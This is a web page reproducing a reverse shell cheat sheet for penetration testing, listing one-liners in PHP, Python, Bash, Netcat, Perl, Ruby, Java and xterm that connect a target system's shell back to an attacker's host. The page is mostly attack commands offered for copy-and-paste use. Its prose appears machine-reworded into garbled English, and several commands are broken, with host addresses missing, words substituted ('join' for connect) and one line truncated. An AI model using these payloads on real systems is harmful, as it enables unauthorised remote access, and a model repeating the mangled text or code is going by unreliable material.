Reverse Shell Cheat Sheet

Reverse Shell Cheat Sheet

If you’re fortunate sufficient to discover a command execution vulnerability throughout a penetration check, pretty quickly afterwards you’ll in all probability need an interactive shell.
If it’s not potential so as to add a brand new account / SSH key / .rhosts file and simply log in, the next move is prone to be both trowing again a reverse shell or binding a shell to a TCP port. This web page offers with the previous.

Your choices for making a reverse shell are restricted by the scripting languages put in on the goal system – although you may in all probability add a
binary program too in case you’re suitably properly ready.
The examples proven are tailor-made to Unix-like methods. Some of the examples under also needs to work on Windows in case you use substitute “/bin/sh -i” with “cmd.exe”.
Each of the strategies under is aimed to be a one-liner you could copy/paste. As such they’re fairly brief traces, however not very readable.

Php :

php -r '$sock=fsockopen("",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Python :

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.join(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

Bash :

bash -i >& /dev/tcp/ 0>&1

Netcat :

nc -e /bin/sh 4444

Perl :

perl -e 'use Socket;$i="";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(join(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby :

ruby -rsocket -e'"",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java :

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])

xterm :

xterm -display


Please enter your comment!
Please enter your name here

This site uses Akismet to reduce spam. Learn how your comment data is processed.